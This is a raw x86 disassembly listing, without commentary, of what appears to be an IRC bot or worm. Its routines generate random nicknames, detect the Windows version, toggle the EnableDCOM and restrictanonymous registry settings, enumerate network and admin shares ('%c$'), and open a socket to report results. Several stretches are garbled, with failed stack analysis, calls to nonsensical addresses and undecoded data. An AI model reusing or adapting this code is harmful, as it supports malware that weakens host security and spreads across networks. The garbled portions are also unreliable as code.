		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43755C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_4140E1


loc_414107:				; CODE XREF: sub_4140AE+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4140AE	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		pop	ecx
		call	sub_415529
		push	3
		mov	ebx, [esp+14h]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42C168
		test	esi, esi
		jle	short loc_41414F


loc_414139:				; CODE XREF: seg000:0041414Dj
		call	sub_415529
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_414139


loc_41414F:				; CODE XREF: seg000:00414137j
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset dword_437564
		push	eax
		push	esi
		call	near ptr 0DC5EBC8Dh
		cmp	cl, [edi]
		mov	esi, 43756405h
		add	[edx+41h], ch
		pop	ecx
		push	1
		pop	edx


loc_414195:				; CODE XREF: seg000:004141A0j
		cmp	eax, ecx
		jnz	short loc_41419C
		mov	[ebp-4], edx


loc_41419C:				; CODE XREF: seg000:00414197j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_414195
		push	61h
		pop	ecx


loc_4141A5:				; CODE XREF: seg000:004141B0j
		cmp	eax, ecx
		jnz	short loc_4141AC
		mov	[ebp-4], edx


loc_4141AC:				; CODE XREF: seg000:004141A7j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4141A5
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42C168, esi
		jle	short loc_4141F1


loc_4141CB:				; CODE XREF: seg000:004141EFj
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43755C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_4141CB


loc_4141F1:				; CODE XREF: seg000:004141C9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_421144
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437568
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C168, esi
		jle	short loc_414266


loc_414240:				; CODE XREF: seg000:00414264j
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43755C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_414240


loc_414266:				; CODE XREF: seg000:0041423Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438F8C
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_42110C
		call	ds:dword_42104C
		push	eax
		call	sub_41551F
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_4142F0
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4142D0
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4142C0
		mov	esi, offset a95	; "95"


loc_4142C0:				; CODE XREF: seg000:004142B9j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_41432C
		mov	esi, offset aNt	; "NT"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: seg000:004142B0j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4142E0
		mov	esi, offset a98	; "98"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_4142E0:				; CODE XREF: seg000:004142D7j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414327
		mov	esi, offset aMe	; "ME"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_4142F0:				; CODE XREF: seg000:004142A7j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414327
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414309
		mov	esi, offset a2k	; "2K"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_414309:				; CODE XREF: seg000:00414300j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414319
		mov	esi, offset aXp	; "XP"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_414319:				; CODE XREF: seg000:00414310j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_437574
		jz	short loc_41432C


loc_414327:				; CODE XREF: seg000:004142E7j
					; seg000:004142F7j
		mov	esi, offset dword_42B798


loc_41432C:				; CODE XREF: seg000:004142C7j
					; seg000:004142CEj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43756C
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C168, esi
		jle	short loc_414370


loc_41434A:				; CODE XREF: seg000:0041436Ej
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43755C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_41434A


loc_414370:				; CODE XREF: seg000:00414348j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414376	proc near		; CODE XREF: sub_414419+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_42104C
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4143C5
		call	ds:dword_43A374
		test	eax, eax
		mov	eax, offset dword_437580
		jnz	short loc_4143AE
		mov	eax, offset byte_438F8C


loc_4143AE:				; CODE XREF: sub_414376+31j
		push	eax
		push	esi
		push	offset dword_437578
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_415A4A
		add	esp, 14h
		jmp	short loc_4143E5
; ---------------------------------------------------------------------------


loc_4143C5:				; CODE XREF: sub_414376+22j
		call	ds:dword_43A374
		test	eax, eax
		mov	eax, offset dword_437580
		jnz	short loc_4143D9
		mov	eax, offset byte_438F8C


loc_4143D9:				; CODE XREF: sub_414376+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_4143E5:				; CODE XREF: sub_414376+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CD0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_414414
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416EF0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D20
		add	esp, 18h


loc_414414:				; CODE XREF: sub_414376+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_414376	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414419	proc near		; CODE XREF: sub_40CB59+7Fp
					; sub_40CCC1+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_437504


loc_414425:				; CODE XREF: sub_414419+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_414440
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4158F0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41444A
; ---------------------------------------------------------------------------


loc_414440:				; CODE XREF: sub_414419+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_41444A:				; CODE XREF: sub_414419+25j
		test	eax, eax
		jnz	short loc_41445C
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437568
		jl	short loc_414425
		jmp	short loc_41446A
; ---------------------------------------------------------------------------


loc_41445C:				; CODE XREF: sub_414419+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_437508[eax*4]
		pop	ecx


loc_41446A:				; CODE XREF: sub_414419+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41447D
		push	[ebp+arg_0]
		call	sub_414376
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41447D:				; CODE XREF: sub_414419+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414482	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_43A368
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_43A3E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_414540
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A310
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43F504[ecx], esi
		jz	short loc_414540
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_43A3F4
		push	eax
		mov	edi, offset dword_469234
		push	offset unk_437584
		push	edi
		call	sub_4154CD
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412D32
		push	edi
		call	sub_40B151
		add	esp, 28h


loc_414540:				; CODE XREF: sub_414482+5Dj
					; sub_414482+7Ej
		push	esi
		call	ds:dword_43A400
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_414482	endp

; ---------------------------------------------------------------------------
byte_41454F	db 55h			; DATA XREF: seg000:004102E8o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42106035h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43A3F415h, 858D5000h, 0FFFFFED0h
		dd 4375C068h, 32E85000h, 8D00000Fh, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	43F2F805h, 65E85000h, 83000027h
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 82685057h,	57004144h
		dd 738AE857h, 3B2D4C22h, 0FC4589C7h, 7D390B74h,	6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 106C15FFh, 0B3FF0042h, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 0A1E85008h
		dd 8300000Fh, 75FF0CC4h, 9C15FF08h, 400043A2h, 8458950h
		dd 0A36415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 0F78h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414640	proc near		; DATA XREF: seg000:004127E4o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_75		= byte ptr -75h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_414687
		call	near ptr loc_41469F+1
		jmp	short loc_41468C
; ---------------------------------------------------------------------------


loc_414687:				; CODE XREF: sub_414640+3Ej
		call	sub_4149C4


loc_41468C:				; CODE XREF: sub_414640+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 5A3453E2h


loc_41469F:				; CODE XREF: sub_414640+40p
		and	[ebp+var_75], dl
sub_414640	endp ; sp-analysis failed

		in	al, dx
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43A438, edi
		jnz	loc_4147D2
		lea	eax, [ebp-4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43A3D8
		test	eax, eax
		jnz	short loc_41472B
		mov	ax, ds:word_4379A8
		mov	[ebp-6], ax
		lea	eax, [ebp-6]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	dword ptr [ebp-4]
		call	ds:dword_43A38C
		test	eax, eax
		jz	short loc_41470D
		push	offset unk_437964
		jmp	short loc_414712
; ---------------------------------------------------------------------------


loc_41470D:				; CODE XREF: seg000:00414704j
		push	offset dword_437934


loc_414712:				; CODE XREF: seg000:0041470Bj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_43A344
		jmp	short loc_41473E
; ---------------------------------------------------------------------------


loc_41472B:				; CODE XREF: seg000:004146D6j
		lea	eax, [ebp-214h]
		push	offset unk_4378F0
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_41473E:				; CODE XREF: seg000:00414729j
		cmp	[ebp+14h], edi
		jnz	short loc_41475D
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_41475D:				; CODE XREF: seg000:00414741j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43A3D8
		test	eax, eax
		jnz	short loc_4147CB
		lea	eax, [ebp-8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	dword ptr [ebp-4]
		mov	dword ptr [ebp-8], 1
		call	ds:dword_43A38C
		test	eax, eax
		jz	short loc_4147AD
		push	offset unk_43788C
		jmp	short loc_4147B2
; ---------------------------------------------------------------------------


loc_4147AD:				; CODE XREF: seg000:004147A4j
		push	offset unk_437844


loc_4147B2:				; CODE XREF: seg000:004147ABj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_43A344
		jmp	short loc_4147E5
; ---------------------------------------------------------------------------


loc_4147CB:				; CODE XREF: seg000:00414782j
		push	offset unk_4377F4
		jmp	short loc_4147D7
; ---------------------------------------------------------------------------


loc_4147D2:				; CODE XREF: seg000:004146B3j
		push	offset unk_4377B0


loc_4147D7:				; CODE XREF: seg000:004147D0j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_4147E5:				; CODE XREF: seg000:004147C9j
		cmp	[ebp+14h], edi
		jnz	short loc_414804
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_414804:				; CODE XREF: seg000:004147E8j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		cmp	ds:dword_43A460, edi
		pop	ecx
		jnz	loc_41497F
		push	ebx
		mov	[ebp-4], edi
		mov	[ebp-14h], edi
		mov	[ebp-0Ch], edi


loc_414827:				; CODE XREF: seg000:00414963j
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_43A2B4
		cmp	eax, edi
		mov	[ebp-10h], eax
		jz	short loc_4148C4
		cmp	eax, 0EAh
		jz	short loc_4148C4
		mov	esi, offset off_437600


loc_414858:				; CODE XREF: seg000:004148BDj
		push	dword ptr [esi]
		push	edi
		call	sub_413383
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41486F
		push	offset unk_437778
		jmp	short loc_414874
; ---------------------------------------------------------------------------


loc_41486F:				; CODE XREF: seg000:00414866j
		push	offset unk_437738


loc_414874:				; CODE XREF: seg000:0041486Dj
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+14h], edi
		jnz	short loc_4148A7
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_4148A7:				; CODE XREF: seg000:0041488Bj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_437620
		jl	short loc_414858
		jmp	loc_41495C
; ---------------------------------------------------------------------------


loc_4148C4:				; CODE XREF: seg000:0041484Aj
					; seg000:00414851j
		mov	esi, [ebp-8]
		push	1
		pop	ebx
		cmp	[ebp-4], ebx
		jb	loc_414953


loc_4148D3:				; CODE XREF: seg000:0041494Fj
		mov	edi, [esi]
		push	edi
		call	sub_4179BC
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_414948
		push	edi
		call	sub_413270
		push	eax
		push	0
		call	sub_413383
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414902
		push	offset unk_437700
		jmp	short loc_414907
; ---------------------------------------------------------------------------


loc_414902:				; CODE XREF: seg000:004148F9j
		push	offset unk_4376C0


loc_414907:				; CODE XREF: seg000:00414900j
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	dword ptr [ebp+14h], 0
		jnz	short loc_41493B
		push	1
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_41493B:				; CODE XREF: seg000:0041491Fj
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_414948:				; CODE XREF: seg000:004148E2j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp-4]
		jbe	short loc_4148D3
		xor	edi, edi


loc_414953:				; CODE XREF: seg000:004148CDj
		push	dword ptr [ebp-8]
		call	ds:dword_43A3F8


loc_41495C:				; CODE XREF: seg000:004148BFj
		cmp	dword ptr [ebp-10h], 0EAh
		jz	loc_414827
		lea	eax, [ebp-214h]
		push	offset unk_437684
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_414992
; ---------------------------------------------------------------------------


loc_41497F:				; CODE XREF: seg000:00414817j
		lea	eax, [ebp-214h]
		push	offset unk_437640
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414992:				; CODE XREF: seg000:0041497Dj
		cmp	[ebp+14h], edi
		jnz	short loc_4149B0
		push	edi
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_4149B0:				; CODE XREF: seg000:00414995j
		lea	eax, [ebp-214h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149C4	proc near		; CODE XREF: sub_414640:loc_414687p

var_3BA7640	= byte ptr -3BA7640h
var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_43A438, ebx
		push	esi
		jnz	loc_414AF2
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_43A3D8
		test	eax, eax
		jnz	short loc_414A4F
		mov	ax, ds:word_437BB0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_43A38C
		test	eax, eax
		jz	short loc_414A31
		push	offset unk_437B78
		jmp	short loc_414A36
; ---------------------------------------------------------------------------


loc_414A31:				; CODE XREF: sub_4149C4+64j
		push	offset dword_437B48


loc_414A36:				; CODE XREF: sub_4149C4+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A344
		jmp	short loc_414A62
; ---------------------------------------------------------------------------


loc_414A4F:				; CODE XREF: sub_4149C4+36j
		lea	eax, [ebp+var_220]
		push	offset unk_4378F0
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414A62:				; CODE XREF: sub_4149C4+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414A81
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414A81:				; CODE XREF: sub_4149C4+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_43A3D8
		test	eax, eax
		jnz	short loc_414AEB
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_43A38C
		test	eax, eax
		jz	short loc_414ACD
		push	offset unk_437AF8
		jmp	short loc_414AD2
; ---------------------------------------------------------------------------


loc_414ACD:				; CODE XREF: sub_4149C4+100j
		push	offset unk_437AB0


loc_414AD2:				; CODE XREF: sub_4149C4+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43A344
		jmp	short loc_414B05
; ---------------------------------------------------------------------------


loc_414AEB:				; CODE XREF: sub_4149C4+E2j
		push	offset unk_437A60
		jmp	short loc_414AF7
; ---------------------------------------------------------------------------


loc_414AF2:				; CODE XREF: sub_4149C4+13j
		push	offset unk_4377B0


loc_414AF7:				; CODE XREF: sub_4149C4+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414B05:				; CODE XREF: sub_4149C4+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B24
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414B24:				; CODE XREF: sub_4149C4+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		cmp	ds:dword_43A460, ebx
		pop	ecx
		jnz	loc_414C96
		push	edi
		mov	esi, offset off_437600
		mov	edi, 200h


loc_414B48:				; CODE XREF: sub_4149C4+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_4132D7
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_414B63
		push	offset unk_437A2C
		jmp	short loc_414B68
; ---------------------------------------------------------------------------


loc_414B63:				; CODE XREF: sub_4149C4+196j
		push	offset unk_4379F0


loc_414B68:				; CODE XREF: sub_4149C4+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414B97
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414B97:				; CODE XREF: sub_4149C4+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_437610
		jl	short loc_414B48
		call	near ptr 439E45D0h
		adc	al, [ebp+var_3BA7640]
		mov	bl, 41h
		jz	loc_414C7E


loc_414BC2:				; CODE XREF: sub_4149C4+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_414C73
		cmp	bl, 41h
		jz	loc_414C73
		movsx	esi, bl
		push	esi
		push	offset aC_3	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_415A4A
		push	esi
		push	offset aC_2	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_415A4A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_43A3C8
		cmp	eax, 3
		jnz	short loc_414C73
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_4132D7
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_414C31
		push	offset unk_437A2C
		jmp	short loc_414C36
; ---------------------------------------------------------------------------


loc_414C31:				; CODE XREF: sub_4149C4+264j
		push	offset unk_4379F0


loc_414C36:				; CODE XREF: sub_4149C4+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414C66
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_414C66:				; CODE XREF: sub_4149C4+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40B151
		pop	ecx


loc_414C73:				; CODE XREF: sub_4149C4+206j
					; sub_4149C4+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_414BC2


loc_414C7E:				; CODE XREF: sub_4149C4+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4379AC
		push	eax
		call	sub_4154CD
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_414CA9
; ---------------------------------------------------------------------------


loc_414C96:				; CODE XREF: sub_4149C4+173j
		lea	eax, [ebp+var_220]
		push	offset unk_437640
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_414CA9:				; CODE XREF: sub_4149C4+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_414CC7
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


